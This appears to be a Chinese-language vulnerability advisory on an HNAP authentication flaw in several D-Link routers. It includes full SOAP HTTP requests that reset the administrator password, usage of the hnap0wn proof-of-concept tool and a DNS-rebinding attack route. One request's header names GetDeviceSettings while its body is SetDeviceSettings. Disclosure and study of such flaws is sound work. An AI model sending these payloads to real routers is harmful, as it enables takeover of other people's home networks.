Hacking D-Link Routers With HNAP
漏洞概述
多款D-Link路由器存在HNAP协议不安全实现,导致非授权和越权访问设置漏洞
可以被本地和远程攻击
影响产品
支持HNAP协议的多款D-Link路由器
1) DI-524 hardware version C1, firmware version 3.23
2) DIR-628 hardware version B2, firmware versions 1.20NA and 1.22NA
3) DIR-655 hardware version A1, firmware version 1.30EA
漏洞描述
HNAP是一个基于SOAP的协议,提供网络设备的管理接口。D-Link安装不需要用HNAP,任何SOAP请求会被HNAP协议解析。
其中GetDeviceSetting的soap请求可以不需要认证就可执行。
构造修改管理员密码的soap请求
POST /HNAP1/ HTTP/1.1 Host: 192.168.0.1:8099 SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings" Content-Length: 453
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <soap:Body> <SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/"> <AdminPassword>testing123</AdminPassword> </SetDeviceSettings> </soap:Body> </soap:Envelope>
在DI-524旧模型中,对soap的操作需要授权,允许administrator和user用户,其中user默认密码为空
POST /HNAP1/ HTTP/1.1 Authorization: Basic dXNlcjo= Host: 192.168.0.1 SOAPAction: "http://purenetworks.com/HNAP1/SetDeviceSettings" Content-Length: 453
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <soap:Body> <SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/"> <AdminPassword>testing123</AdminPassword> </SetDeviceSettings> </soap:Body> </soap:Envelope>
运行后导致administrator用户密码修改
漏洞POC
HNAP0wn工具,包含预生成的hnap xml payload
1)用新管理员密码编辑 xml/SetDeviceSettings.xml文件
2)使用hnap0wn发送xml
$ ./hnap0wn 192.168.0.1 xml/SetDeviceSettings.xml
攻击方式
内网用户发送soap请求修改管理员密码
远程用户无法直接访问hnap接口,可以采用dns重定向攻击,用JavaScript触发路由器XMLHttpRequests,当内网用户访问恶意页面时,触发此漏洞。
漏洞影响
验证码机制本意为组织恶意软件自动化的登录尝试,此场景中恶意软件可以尝试访问soap接口而不是解决路由界面的验证码。
内网用户无需知道管理员,不需要解决验证码问题就可以用此漏洞修改管理密码。
外部用户诱导内网用户访问构造的恶意界面,触发对hnap接口的攻击
漏洞修复
暂无可行性建议